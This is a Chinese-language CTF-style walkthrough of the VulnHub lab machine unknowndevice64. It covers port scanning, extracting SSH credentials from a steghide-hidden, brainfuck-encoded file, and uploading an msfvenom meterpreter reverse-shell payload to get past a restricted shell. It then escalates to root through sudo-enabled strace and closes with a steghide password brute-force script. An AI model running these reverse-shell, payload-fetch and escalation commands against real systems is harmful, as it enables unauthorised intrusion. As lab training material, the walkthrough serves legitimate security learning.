Vulhub Writeup-unknowndevice64-v1
ssooking Lv5

靶场下载

VulnHub: unknowndevice64

网络环境

虚拟机 IP
kali 192.168.19.142
unknowndevice64 192.168.1.132

通过netdiscover、nmap扫描局域网发现vulhub靶机的IP。

渗透思路

扫描端口及服务

1
2
3
4
5
6
7
8
9
10
11
12
# nmap -T4 -sS -sV -p- 192.168.19.132
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-02 14:56 CST
Nmap scan report for 192.168.19.132
Host is up (0.00057s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
1337/tcp open ssh OpenSSH 7.7 (protocol 2.0)
31337/tcp open http SimpleHTTPServer 0.6 (Python 2.7.14)
MAC Address: 00:0C:29:E6:22:E7 (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.99 seconds

发现http服务,浏览器访问 31337端口

查看页面源代码获得提示

浏览器访问http://192.168.19.132:31337/key_is_h1dd3n.jpg 发现是一张图片。

英文提示说明数据可能隐藏在图片中。下载图片后,使用binwalk查看是否有隐藏信息,使用exiftool查看元数据,均无发现。

注:exiftool需要单独安装:apt-get install exiftool

使用常见图片数据隐写工具stegslovewbstegosteghide尝试进行解密,发现利用steghide工具可以提取隐藏的信息,steghide用法示例:

1
2
3
4
5
# 将hide.txt文件隐藏到1.jpg中:
steghide embed -cf 1.jpg -ef hide.txt -p 123456

# 从1.jpg提取隐藏文件hide.txt:
steghide extract -sf 1.jpg -p 123456

这里需要解密密码,我们猜测密码是提示的内容h1dd3n,成功解密出h1dd3n.txt文件。这里如果猜不到,可以使用密码字典暴力破解的方式,见后文cracksteghide.py

经常打CTF的应该很熟悉,隐藏文件的内容是经过了brainfuck编码的数据,使用Python-Brainfuck解密:

1
2
3
git clone https://github.com/pocmo/Python-Brainfuck.git
cd Python-Brainfuck
python brainfuck.py ../h1dd3n.txt

也可以使用在线解密工具解密:

解密结果ud64:1M!#64@ud看起来像是用户名密码,最开始我们扫描出ssh服务运行在1337端口上,于是ssh尝试登录,发现登录成功:

登录后发现这是一个受限的shell,并且无法使用python、expect命令获得交互shell。

1
2
python -c "import pty; pty.spawn('/bin/bash')"
expect -c 'spawn bash;interact'

于是我们使用kali生成反弹木马,赋予执行权限,并通过ssh上传至目标靶机。这里从靶机的名字unknowndevice64我们猜测可能是64位系统,不过生成32位的程序在64位系统中也能执行。

1
2
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.19.142 LPORT=9999 -f elf -o revshell.elf
chmod +x revshell.elf

因为是受限的shell,因此我们需要把木马程序上传到当前环境变量目录下,使用echo $PATH命令查看:

1
2
# echo $PATH
/home/ud64/prog

上传木马

1
scp -P 1337 revshell.elf ud64@192.168.19.132:prog

kali启动msf监听

1
2
3
4
5
6
7
8
msf5 > use exploit/multi/handler 
msf5 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 192.168.19.142
LHOST => 192.168.19.142
msf5 exploit(multi/handler) > set LPORT 9999
LPORT => 9999
msf5 exploit(multi/handler) > run

当目标执行revshell.elf时即可接收到反弹shell。

下一步就是提权了。在meterpreter中输入shell进入shell模式,并通过python获得一个交互shell。

kali上使用python -m SimpleHTTPServer命令启动一个http服务,托管提权辅助脚本linuxprivchecker,靶机上下载提权脚本:

1
wget http://192.168.19.142:8000/linuxprivchecker.py

刚才也可以在meterpreter中直接上传脚本

1
2
3
meterpreter > upload /root/linuxprivchecker.py /tmp/linuxprivchecker.py
meterpreter > chmod 744 /tmp/linuxprivchecker.py
meterpreter > shell

wget下载linuxprivchecker.py后 ,执行python linuxprivchecker.py命令查看提权辅助脚本的输出,发现可以使用sudo进行提权。

查看下拥有sudo权限的用户或者程序,发现能够以sudo权限执行/usr/bin/sysud64

执行/usr/bin/sysud64 -h命令查看这个进程的情况,发现实际上就是strace。

GTFOBins 项目主页可以找到利用strace提权的方法

利用strace的sudo权限进行提权

1
sudo /usr/bin/sysud64 -o /dev/null /bin/sh

可以看到成功提升到了root权限,在/root目录下即可查看flag.txt文件

cracksteghide.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @ Author: ssooking
# @ Blog : www.cnblogs.com/ssooking
# @ Github: https://github.com/ssooking

import sys
import sys
from subprocess import *

usage = "\n[+] Usage: sudo python "+sys.argv[0]+" [Steg Picture File]"+" [Password File]\n\n"
usage += " Example: sudo python "+sys.argv[0]+" 1.jpg"+" password.txt\n"

def CrackedStegHide(stegfile,passfile):
errors = ['Extract failed', 'steghide --help', 'Syntax error']
cmdFormat = "/usr/bin/steghide extract -sf %s -p %s"

f = open(passfile, 'r')
for l in f.readlines():
cmd = cmdFormat % (stegfile, l.strip())
p = Popen(cmd, shell=True, stdout=PIPE, stderr=STDOUT)
content = unicode(p.stdout.read(), 'gbk')
for err in errors:
if err in content:
break
else:
print content,
if "wrote extracted data to" in content:
print '[+] Extracted successfully, the pass is %s !' % (l.strip())
else:
print '[!] Extract failed, maybe you shoud change your password file. '
f.close()
return

if __name__ == '__main__':
if len(sys.argv)<=1:
print(usage)
sys.exit(1)
stegfile = sys.argv[1]
passfile = sys.argv[2]
CrackedStegHide(stegfile,passfile)

Reference

  • Post title:Vulhub Writeup-unknowndevice64-v1
  • Post author:ssooking
  • Create time:2019-12-03 18:15:00
  • Post link:https://ssooking.github.io/2019/12/vulhub-writeup-unknowndevice64-v1/
  • Copyright Notice:All articles in this blog are licensed under BY-NC-SA unless stating additionally.